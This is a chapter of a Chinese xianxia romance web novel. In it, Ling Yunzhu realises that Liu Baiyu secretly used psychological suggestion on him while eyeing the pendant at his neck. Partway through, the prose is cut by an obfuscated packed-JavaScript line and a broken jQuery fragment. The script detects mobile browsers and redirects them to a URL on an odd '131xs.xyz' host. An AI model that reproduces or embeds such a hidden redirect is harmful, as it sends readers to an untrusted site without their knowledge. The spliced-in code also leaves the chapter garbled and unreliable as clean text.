凌云渚踉跄几步,听见前边一道惊呼。他下意识伸扶住,定睛一看:“流夫人?”
对方一袭广绣仙裙,纤尘不染,肤色竟比那衣裳还白上三分,不是深入简出的流白羽又是谁?
她向来弱不禁风,加之未施粉黛,瞧着格外虚弱,要是撞坏就不好了。凌云渚思及此处,愈发小心,仔仔细细将她检查一番,道:“我撞痛你了吗?”
“哪有那么娇弱,是我没注意看。”流白羽轻笑,“昨晚就听说你们从天机阁拿到了解药,今早便特地来问问,一切顺利吗?”
凌云渚看着那惨白到仿佛随时要昏过去的脸色,心惊胆战。他找了张椅子让人坐下,这才道:“出了点小麻烦,总体顺利,方才……”
他视线一转,依次从百无聊赖的谢九州、把玩衣穗的金玉英、神游天外的段驰龙身上划过——哦不,最后那个没有神游天外,两点赤瞳一直盯着一个方向。
凌云渚低头一看,发觉自己的手竟还搭在流白羽臂上,当即像被电了一样弹开。摩挲几下,又欲盖弥彰地咳嗽一声,这才道:“方才,他们应当将来龙去脉说过了。”
流白羽“哎”一声,静了须臾,道:“我听玉英说,彼时你们是凭空消失的?”
她眼珠极黑,眼仁又极白,直勾勾看人的时候,有点诡异,跟鬼魂似的。明明盯着某处,却聚不上焦,揪不出一个点。
凌云渚移开视线:“可以这么说吧。”
“那位江阁主,有为难你吗?”
“既然有求于人,被为难也是应得的。”
“他有说什么别的东西吗?”
“没有。”
“哦,那就好,他这个人呀,鬼话连篇,说什么你都不要信。”
流白羽又问了些很随意的问题,语速越来越快,凌云渚被迫跟上她的节奏,被那双黑白分明的眼珠盯着,突然升起一种毛骨悚然的感觉。
更可怕的是,屋中其余人都没开口。她的表情是那样柔和,目光是那样关切,行为举止压根挑不出差错,以至无一察觉异常。
只有他。
凌云渚溢出冷汗,放在膝盖上的指尖蜷缩起来,原本滴水不漏的回答也略显凌乱。
她在看什么?
心脏在胸腔里震得飞快,凌云渚紧攥着布料,疯狂质问。
她在看什么?!
“……”
连绵不断的问题终于停了,流白羽还是盯着他,一动不动,两颗眼珠黑漆漆的,如同死物。她的两边嘴角突然勾了起来,像被绳索牵动的傀儡娃娃,笑了一下。
这笑声其实很清悦,但出现得太突兀了,以至于有点悚然,是那种夜半走在路上肩膀突然被人拍一下的悚然。
她笑着问:“你受伤了吗?”
凌云渚像被催眠似的,不自觉便道:“只受了点影响,不算伤。”
“真的吗?”流白羽歪了歪头,“你脖子上的红印,是怎么来的?”
凌云渚一愣,面上表情茫然又空虚。他喉结滑动一下,还没开口,旁边突然传来几道大力咳嗽,紧接着,有个略为紧绷的女声道:“这个这个……是被蚊虫叮咬的,天机阁蚊子多嘛。”
凌云渚下意识转头,却见金玉英蹦了下来,扯着流白羽道:“好了娘亲,你都问这么多了,咱们待得也够久了!你不是想吃焦糖白玉卷吗?我来之前让温阑帮忙看火来着,咱们去找他吧。”
说来也怪,她一开口,原先缠绕在流白羽周身的古怪气息便散了个干净。凌云渚像被当头泼了盆冰水似的,打了个惊颤,再定睛一看,哪有什么诡异之感,流白羽还是那副柔柔弱弱、婉婉有仪的模样。
“你们没事,我就放心了。”流白羽温声道,“解药过几日便能做好,我们就不叨扰了。”
凌云渚道:“好。”
两人的身影消失在拐角,凌云渚慢吞吞地坐回椅上,那股不适才渐渐淡去。
真是奇怪,流白羽怎么会给他这种感觉?不是肉眼可见的刀枪剑戟,更像精神袭击,偏偏又有点熟悉,现在回想仍心有余悸。
是错觉吗?
她方才一直盯着自己,但聚焦点绝不是脸,她到底在看什么?
“蚊虫叮咬啊。”段驰龙悠悠晃过来,俯身,意味深长地盯着他脖颈。
凌云渚被迫打断思绪,捂住衣襟:“你干什么?!”
看他这模样就知道不怀好意!
“没什么,不过想提醒你一句,天机阁没有蚊虫。”段驰龙笑眯眯道,“藏不住咯?”
凌云渚一愣,意识到什么,猛然变了脸色。他噌一下将断尘拔出三寸,又扯了扯衣领,借反光照向脖颈,果不其然望见上边或重或浅的红痕,细细密密地沿向深处,暧昧不明。
凌云渚怒气冲天:“你……!”
“别生气呀,昨晚我忍成那样,取点报酬不过分吧?”段驰龙委屈地压低声音,“我控制过的,特地把痕迹留在衣领下,要不是你故意露出来,没人会发现。”
“我?!”凌云渚将断尘压回去,其力度之重,声音之脆不亚于将剑鞘当成了段驰龙脑袋,“我什么时候故意露出来了?!”
“噢,那兴许是她眼尖吧。”段驰龙没把这话放在心上,“我找人讨了此地特色糕点的配方,做给你吃当赔罪,好不好?”
凌云渚没答应也没拒绝,只在他肩膀推了一下。他总是这样,很多话不肯明说,非得安在肢体动作上。万幸,有一人总能读懂他的隐喻。
段驰龙接住他的手,趁谢九州没注意,飞快亲了一下,道:“好,多加点糖。”
说罢,便兀自出门,往竹隐居的小厨房去了,徒留凌云渚一人震在原地。
他怎么知道自己想吃甜的?!读心术?!
屋里终于只剩两人,谢九州无奈道:“师尊,总算轮到我了?”
凌云渚这才记起来,昨晚他突然想到还有个助力表白的任务没完成,便叫谢九州明日一早来找他。谁料出了一档子乱七八糟的事,今早又恰逢流白羽来访,于是竟让人生生被晾到现在,细究起来,确实有些不厚道了。
“不好意思,阿域。”凌云渚拍拍身侧,“你过来坐,我有事要和你讲。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255295|182057||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢九州“噢”了一声,往这边走来。凌云渚自从被打趣后就有些过度敏感,以为他在看那些红痕,当即开始用力扯衣领,简直快将整个脖子挡住了。
“呃……师尊。”谢九州反倒尴尬起来,小声道,“不用遮,远点根本看不见的。”
是啊,但凡是裸露在外的皮肤,基本没有痕迹,即便有,也是浅得几乎看不清。凌云渚知道这一点,但仍心存芥蒂,想着那逆徒真是越发放肆了,回头定要好好教训一番。
他不自在地拢了拢衣襟,颇有些装模作样的意味,两手垂下时,脑中倏地窜过个念头,登时汗毛倒数。
远看看不见,他也没有故意将衣襟往下拉,流白羽是怎么发现的?
当时她距自己绝不会比谢九州更近,连谢九州都看不清,她一个修为低微、五感迟钝的人,如何能察觉到这一点?
除非……
凌云渚半身僵直,面前又浮现出那双黑白分明的眼睛,睁得极大,仿佛下一刻眼球就会掉出眼眶。她纹丝不动地盯着自己,然后毫无情绪地笑了一下,滞涩又冷硬。
凌云渚突然重重按向颈下几寸的位置,听见谢九州“哎”了一声,可他并未理会,脑中只剩一个念头。
除非,她一直盯着自己脖颈,用毒蛇般阴冷的目光。
不,不是脖颈,只是刚好靠近那个位置。
隔层薄衫,掌心硌到了一个硬质物什,他缓缓将手攥紧。
那是从始至终悬在他颈上的,跟了他整整两个世界的——
三生珞。
很久之前,他还没有穿书,因为重复做一个梦,曾去心理诊所接受过治疗。大大小小的项目都体验了个遍,很多都记不清了。
可就在刚刚,他终于想起,有一样疗程名为意控,通过状似随意的对话,放松,舒缓,甚至控制患者的意念,达到心理治疗的效果。这种疗法对医师的专业要求极高,在某些极端情况下,也会被用来催眠患者。运用得当,甚至能简单引导患者行动。
若在生活中使用,通常没人能发现,因为这种催眠是长期的,潜移默化的。
凌云渚的心一点点沉了下去。
怪不得方才他没有感受到灵流波动,一度以为精神上的不适是一种错觉。
原来流白羽根本就没有使用灵力。
她在众目睽睽之下,对自己完成了一次心理暗示。
“师尊?师尊?你身体不舒服吗?怎么了?”
谢九州眼睁睁看他白了脸色,一副魂魄离体的模样,声调陡然转高:“不是刚才还好好的吗?别是旧伤复发了吧?哎呀都说了让你别逞强!你等着啊,我我我……我这就去找人,很快回来!”
他心急如焚,转头往外跑,谁料刚踏出一只脚,手腕便被擒住了。回头,凌云渚脸色仍旧灰白,双眸却亮得可怕。
“不能去!”他怔怔望着虚空,不知在想什么,嗓音发哑,“不能去。”
“阿域!”凌云渚突然转头看他,目光灼灼,他盯着谢九州,一字一顿,“我有件很重要的事,托你去办。”